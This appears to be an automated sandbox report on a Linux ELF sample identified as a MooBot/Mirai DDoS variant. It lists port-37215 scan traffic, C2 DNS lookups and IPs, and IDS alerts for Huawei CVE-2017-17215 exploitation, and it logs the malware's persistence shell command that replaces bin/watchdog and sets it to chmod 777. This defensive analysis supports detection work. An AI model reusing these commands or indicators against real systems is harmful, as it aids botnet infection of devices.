Mar 20, 2023 16:20:44.548578978 CET	31105	37215	192.168.2.23	41.30.143.132
Mar 20, 2023 16:20:44.548741102 CET	31105	37215	192.168.2.23	41.148.20.226
Mar 20, 2023 16:20:44.548829079 CET	31105	37215	192.168.2.23	197.223.141.146
Mar 20, 2023 16:20:44.548913002 CET	31105	37215	192.168.2.23	197.67.169.11
Mar 20, 2023 16:20:44.548933983 CET	31105	37215	192.168.2.23	197.198.131.180
Mar 20, 2023 16:20:44.548938036 CET	31105	37215	192.168.2.23	197.52.236.172
Mar 20, 2023 16:20:44.548938036 CET	31105	37215	192.168.2.23	157.47.2.0
Mar 20, 2023 16:20:44.548940897 CET	31105	37215	192.168.2.23	197.40.126.72
Mar 20, 2023 16:20:44.548988104 CET	31105	37215	192.168.2.23	157.34.71.4
Mar 20, 2023 16:20:44.548989058 CET	31105	37215	192.168.2.23	65.17.4.212
Mar 20, 2023 16:20:44.548995018 CET	31105	37215	192.168.2.23	157.184.22.246
Mar 20, 2023 16:20:44.549001932 CET	31105	37215	192.168.2.23	41.139.140.184
Mar 20, 2023 16:20:44.549001932 CET	31105	37215	192.168.2.23	121.61.208.71
Mar 20, 2023 16:20:44.549027920 CET	31105	37215	192.168.2.23	157.167.73.218
Mar 20, 2023 16:20:44.549037933 CET	31105	37215	192.168.2.23	157.186.90.102
Mar 20, 2023 16:20:44.549050093 CET	31105	37215	192.168.2.23	197.28.204.27
Mar 20, 2023 16:20:44.549071074 CET	31105	37215	192.168.2.23	157.160.77.243
Mar 20, 2023 16:20:44.549309969 CET	31105	37215	192.168.2.23	197.105.52.70
Mar 20, 2023 16:20:44.549330950 CET	31105	37215	192.168.2.23	41.195.120.236
Mar 20, 2023 16:20:44.549348116 CET	31105	37215	192.168.2.23	213.112.8.47
Mar 20, 2023 16:20:44.549427986 CET	31105	37215	192.168.2.23	157.153.101.69
Mar 20, 2023 16:20:44.549434900 CET	31105	37215	192.168.2.23	41.7.246.144
Mar 20, 2023 16:20:44.549504995 CET	31105	37215	192.168.2.23	197.215.196.144
Mar 20, 2023 16:20:44.549505949 CET	31105	37215	192.168.2.23	41.169.82.231
Mar 20, 2023 16:20:44.549524069 CET	31105	37215	192.168.2.23	41.93.244.82
Mar 20, 2023 16:20:44.549544096 CET	31105	37215	192.168.2.23	157.158.216.93
Mar 20, 2023 16:20:44.549705982 CET	31105	37215	192.168.2.23	41.247.231.164
Mar 20, 2023 16:20:44.549721003 CET	31105	37215	192.168.2.23	41.193.127.116
Mar 20, 2023 16:20:44.549721003 CET	31105	37215	192.168.2.23	41.248.251.58
Mar 20, 2023 16:20:44.549725056 CET	31105	37215	192.168.2.23	41.65.231.5
Mar 20, 2023 16:20:44.549731016 CET	31105	37215	192.168.2.23	157.133.239.12
Mar 20, 2023 16:20:44.549732924 CET	31105	37215	192.168.2.23	122.179.227.216
Mar 20, 2023 16:20:44.549734116 CET	31105	37215	192.168.2.23	157.82.35.181
Mar 20, 2023 16:20:44.550081968 CET	31105	37215	192.168.2.23	157.145.245.102
Mar 20, 2023 16:20:44.550117016 CET	31105	37215	192.168.2.23	41.170.67.125
Mar 20, 2023 16:20:44.550134897 CET	31105	37215	192.168.2.23	157.142.164.245
Mar 20, 2023 16:20:44.550194025 CET	31105	37215	192.168.2.23	157.113.199.180
Mar 20, 2023 16:20:44.550268888 CET	31105	37215	192.168.2.23	197.186.17.35
Mar 20, 2023 16:20:44.550273895 CET	31105	37215	192.168.2.23	194.35.96.169
Mar 20, 2023 16:20:44.550291061 CET	31105	37215	192.168.2.23	197.103.126.76
Mar 20, 2023 16:20:44.550323963 CET	31105	37215	192.168.2.23	157.152.167.176
Mar 20, 2023 16:20:44.550376892 CET	31105	37215	192.168.2.23	157.131.253.226
Mar 20, 2023 16:20:44.550381899 CET	31105	37215	192.168.2.23	197.122.217.85
Mar 20, 2023 16:20:44.550390005 CET	31105	37215	192.168.2.23	197.15.186.94
Mar 20, 2023 16:20:44.550390959 CET	31105	37215	192.168.2.23	41.75.214.67
Mar 20, 2023 16:20:44.550395966 CET	31105	37215	192.168.2.23	157.122.135.73
Mar 20, 2023 16:20:44.550424099 CET	31105	37215	192.168.2.23	151.41.106.32
Mar 20, 2023 16:20:44.550429106 CET	31105	37215	192.168.2.23	180.97.152.235
Mar 20, 2023 16:20:44.550507069 CET	31105	37215	192.168.2.23	157.84.193.27
Mar 20, 2023 16:20:44.550556898 CET	31105	37215	192.168.2.23	157.64.220.216
Mar 20, 2023 16:20:44.550565958 CET	31105	37215	192.168.2.23	157.125.2.202
Mar 20, 2023 16:20:44.550698042 CET	31105	37215	192.168.2.23	76.192.60.199
Mar 20, 2023 16:20:44.550734997 CET	31105	37215	192.168.2.23	197.103.48.145
Mar 20, 2023 16:20:44.550754070 CET	31105	37215	192.168.2.23	197.166.60.208
Mar 20, 2023 16:20:44.550770998 CET	31105	37215	192.168.2.23	107.153.39.244
Mar 20, 2023 16:20:44.550789118 CET	31105	37215	192.168.2.23	52.192.201.207
Mar 20, 2023 16:20:44.550807953 CET	31105	37215	192.168.2.23	157.131.86.130
Mar 20, 2023 16:20:44.550831079 CET	31105	37215	192.168.2.23	19.68.91.41
Mar 20, 2023 16:20:44.550961971 CET	31105	37215	192.168.2.23	41.74.111.123
Mar 20, 2023 16:20:44.550971985 CET	31105	37215	192.168.2.23	157.64.145.172
Mar 20, 2023 16:20:44.550976038 CET	31105	37215	192.168.2.23	157.230.196.110
Mar 20, 2023 16:20:44.550976038 CET	31105	37215	192.168.2.23	197.47.7.131
Mar 20, 2023 16:20:44.550981045 CET	31105	37215	192.168.2.23	157.117.194.51
Mar 20, 2023 16:20:44.551013947 CET	31105	37215	192.168.2.23	157.36.213.149
Mar 20, 2023 16:20:44.551038027 CET	31105	37215	192.168.2.23	41.231.85.38
Mar 20, 2023 16:20:44.551065922 CET	31105	37215	192.168.2.23	197.155.201.198
Mar 20, 2023 16:20:44.551101923 CET	31105	37215	192.168.2.23	197.141.161.235
Mar 20, 2023 16:20:44.551178932 CET	31105	37215	192.168.2.23	41.14.246.40
Mar 20, 2023 16:20:44.551271915 CET	31105	37215	192.168.2.23	41.89.253.148
Mar 20, 2023 16:20:44.551273108 CET	31105	37215	192.168.2.23	157.202.97.54
Mar 20, 2023 16:20:44.551275015 CET	31105	37215	192.168.2.23	41.52.32.193
Mar 20, 2023 16:20:44.551290989 CET	31105	37215	192.168.2.23	157.141.9.153
Mar 20, 2023 16:20:44.554837942 CET	31105	37215	192.168.2.23	41.37.176.90
Mar 20, 2023 16:20:44.554914951 CET	31105	37215	192.168.2.23	196.157.64.244
Mar 20, 2023 16:20:44.554917097 CET	31105	37215	192.168.2.23	62.85.97.221
Mar 20, 2023 16:20:44.554925919 CET	31105	37215	192.168.2.23	185.74.219.77

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 20, 2023 16:20:44.511899948 CET	192.168.2.23	8.8.8.8	0xbd46	Standard query (0)	j.xnyidc.top	A (IP address)	IN (0x0001)	false
Mar 20, 2023 16:21:34.369875908 CET	192.168.2.23	8.8.8.8	0x9d8a	Standard query (0)	j.xnyidc.top	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 20, 2023 16:20:44.889858007 CET	8.8.8.8	192.168.2.23	0xbd46	No error (0)	j.xnyidc.top		156.224.24.249	A (IP address)	IN (0x0001)	false
Mar 20, 2023 16:21:34.751024961 CET	8.8.8.8	192.168.2.23	0x9d8a	No error (0)	j.xnyidc.top		156.224.24.249	A (IP address)	IN (0x0001)	false

System Behavior

Analysis Process: 8lsvVMbYw7.elf PID: 6211, Parent PID: 6129

General

Start time:	16:20:43
Start date:	20/03/2023
Path:	/tmp/8lsvVMbYw7.elf
Arguments:	/tmp/8lsvVMbYw7.elf
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Analysis Process: 8lsvVMbYw7.elf PID: 6213, Parent PID: 6211

General

Start time:	16:20:43
Start date:	20/03/2023
Path:	/tmp/8lsvVMbYw7.elf
Arguments:	n/a
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Analysis Process: sh PID: 6213, Parent PID: 6211

General

Start time:	16:20:43
Start date:	20/03/2023
Path:	/bin/sh
Arguments:	sh -c "rm -rf bin/watchdog && mkdir bin; >bin/watchdog && mv /tmp/8lsvVMbYw7.elf bin/watchdog; chmod 777 bin/watchdog"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Analysis Process: sh PID: 6215, Parent PID: 6213

General

Start time:	16:20:43
Start date:	20/03/2023
Path:	/bin/sh
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Analysis Process: rm PID: 6215, Parent PID: 6213

General

Start time:	16:20:43
Start date:	20/03/2023
Path:	/usr/bin/rm
Arguments:	rm -rf bin/watchdog
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Analysis Process: sh PID: 6216, Parent PID: 6213

General

Start time:	16:20:43
Start date:	20/03/2023
Path:	/bin/sh
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Analysis Process: mkdir PID: 6216, Parent PID: 6213

General

Start time:	16:20:43
Start date:	20/03/2023
Path:	/usr/bin/mkdir
Arguments:	mkdir bin
File size:	88408 bytes
MD5 hash:	088c9d1df5a28ed16c726eca15964cb7

Analysis Process: sh PID: 6217, Parent PID: 6213

General

Start time:	16:20:43
Start date:	20/03/2023
Path:	/bin/sh
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Analysis Process: mv PID: 6217, Parent PID: 6213

General

Start time:	16:20:43
Start date:	20/03/2023
Path:	/usr/bin/mv
Arguments:	mv /tmp/8lsvVMbYw7.elf bin/watchdog
File size:	149888 bytes
MD5 hash:	504f0590fa482d4da070a702260e3716

Analysis Process: sh PID: 6218, Parent PID: 6213

General

Start time:	16:20:43
Start date:	20/03/2023
Path:	/bin/sh
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Analysis Process: chmod PID: 6218, Parent PID: 6213

General

Start time:	16:20:43
Start date:	20/03/2023
Path:	/usr/bin/chmod
Arguments:	chmod 777 bin/watchdog
File size:	63864 bytes
MD5 hash:	739483b900c045ae1374d6f53a86a279

Analysis Process: 8lsvVMbYw7.elf PID: 6219, Parent PID: 6211

General

Start time:	16:20:43
Start date:	20/03/2023
Path:	/tmp/8lsvVMbYw7.elf
Arguments:	n/a
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Analysis Process: 8lsvVMbYw7.elf PID: 6221, Parent PID: 6219

General

Start time:	16:20:43
Start date:	20/03/2023
Path:	/tmp/8lsvVMbYw7.elf
Arguments:	n/a
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Analysis Process: 8lsvVMbYw7.elf PID: 6222, Parent PID: 6219

General

Start time:	16:20:43
Start date:	20/03/2023
Path:	/tmp/8lsvVMbYw7.elf
Arguments:	n/a
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Source: 8lsvVMbYw7.elf	Virustotal: Detection: 60%			Perma Link
Source: 8lsvVMbYw7.elf	ReversingLabs: Detection: 64%

Source: Traffic	Snort IDS: 2023883 ET DNS Query to a *.top domain - Likely Hostile 192.168.2.23:43281 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:47796 -> 156.224.24.249:56999
Source: Traffic	Snort IDS: 2030489 ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response 156.224.24.249:56999 -> 192.168.2.23:47796
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:53672 -> 93.94.199.119:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:45328 -> 41.36.73.52:37215
Source: Traffic	Snort IDS: 2023883 ET DNS Query to a *.top domain - Likely Hostile 192.168.2.23:46438 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:39438 -> 94.187.107.90:37215
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:47806 -> 156.224.24.249:56999
Source: Traffic	Snort IDS: 2030489 ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response 156.224.24.249:56999 -> 192.168.2.23:47806
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:37918 -> 203.6.74.105:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:42520 -> 86.71.8.242:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:58096 -> 197.39.71.73:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:47896 -> 192.107.143.159:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:49508 -> 197.234.43.110:37215

Source: global traffic	TCP traffic: 197.9.164.30 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.160.77.243 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 191.61.231.41 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.6.41.68 ports 1,2,3,5,7,37215

Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 113.66.95.51
Source: unknown	TCP traffic detected without corresponding DNS query: 41.109.134.160
Source: unknown	TCP traffic detected without corresponding DNS query: 122.238.154.25
Source: unknown	TCP traffic detected without corresponding DNS query: 61.122.23.148
Source: unknown	TCP traffic detected without corresponding DNS query: 113.167.180.50
Source: unknown	TCP traffic detected without corresponding DNS query: 197.154.145.3
Source: unknown	TCP traffic detected without corresponding DNS query: 197.50.135.0
Source: unknown	TCP traffic detected without corresponding DNS query: 137.60.152.96
Source: unknown	TCP traffic detected without corresponding DNS query: 197.4.125.26
Source: unknown	TCP traffic detected without corresponding DNS query: 161.127.238.63
Source: unknown	TCP traffic detected without corresponding DNS query: 157.202.140.177
Source: unknown	TCP traffic detected without corresponding DNS query: 41.249.139.35
Source: unknown	TCP traffic detected without corresponding DNS query: 197.191.6.8
Source: unknown	TCP traffic detected without corresponding DNS query: 41.56.211.70
Source: unknown	TCP traffic detected without corresponding DNS query: 157.185.236.211
Source: unknown	TCP traffic detected without corresponding DNS query: 41.132.98.11
Source: unknown	TCP traffic detected without corresponding DNS query: 197.68.19.229
Source: unknown	TCP traffic detected without corresponding DNS query: 197.107.162.20
Source: unknown	TCP traffic detected without corresponding DNS query: 197.174.60.2
Source: unknown	TCP traffic detected without corresponding DNS query: 197.244.224.7
Source: unknown	TCP traffic detected without corresponding DNS query: 41.169.228.69
Source: unknown	TCP traffic detected without corresponding DNS query: 157.76.14.187
Source: unknown	TCP traffic detected without corresponding DNS query: 41.30.143.132
Source: unknown	TCP traffic detected without corresponding DNS query: 41.148.20.226
Source: unknown	TCP traffic detected without corresponding DNS query: 197.223.141.146
Source: unknown	TCP traffic detected without corresponding DNS query: 197.67.169.11
Source: unknown	TCP traffic detected without corresponding DNS query: 197.198.131.180
Source: unknown	TCP traffic detected without corresponding DNS query: 197.52.236.172
Source: unknown	TCP traffic detected without corresponding DNS query: 157.47.2.0
Source: unknown	TCP traffic detected without corresponding DNS query: 197.40.126.72
Source: unknown	TCP traffic detected without corresponding DNS query: 157.34.71.4
Source: unknown	TCP traffic detected without corresponding DNS query: 65.17.4.212
Source: unknown	TCP traffic detected without corresponding DNS query: 157.184.22.246
Source: unknown	TCP traffic detected without corresponding DNS query: 41.139.140.184
Source: unknown	TCP traffic detected without corresponding DNS query: 121.61.208.71
Source: unknown	TCP traffic detected without corresponding DNS query: 157.167.73.218
Source: unknown	TCP traffic detected without corresponding DNS query: 157.186.90.102
Source: unknown	TCP traffic detected without corresponding DNS query: 197.28.204.27
Source: unknown	TCP traffic detected without corresponding DNS query: 157.160.77.243
Source: unknown	TCP traffic detected without corresponding DNS query: 197.105.52.70
Source: unknown	TCP traffic detected without corresponding DNS query: 41.195.120.236
Source: unknown	TCP traffic detected without corresponding DNS query: 213.112.8.47
Source: unknown	TCP traffic detected without corresponding DNS query: 157.153.101.69
Source: unknown	TCP traffic detected without corresponding DNS query: 41.7.246.144
Source: unknown	TCP traffic detected without corresponding DNS query: 197.215.196.144
Source: unknown	TCP traffic detected without corresponding DNS query: 41.169.82.231
Source: unknown	TCP traffic detected without corresponding DNS query: 41.93.244.82
Source: unknown	TCP traffic detected without corresponding DNS query: 157.158.216.93

Source: 8lsvVMbYw7.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: 8lsvVMbYw7.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report 8lsvVMbYw7.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

DNS Queries

DNS Answers

System Behavior

Analysis Process: 8lsvVMbYw7.elf PID: 6211, Parent PID: 6129

General

Analysis Process: 8lsvVMbYw7.elf PID: 6213, Parent PID: 6211

General

Analysis Process: sh PID: 6213, Parent PID: 6211

General

Analysis Process: sh PID: 6215, Parent PID: 6213

General

Analysis Process: rm PID: 6215, Parent PID: 6213

General

Analysis Process: sh PID: 6216, Parent PID: 6213

General

Analysis Process: mkdir PID: 6216, Parent PID: 6213

General

Analysis Process: sh PID: 6217, Parent PID: 6213

Linux Analysis Report
8lsvVMbYw7.elf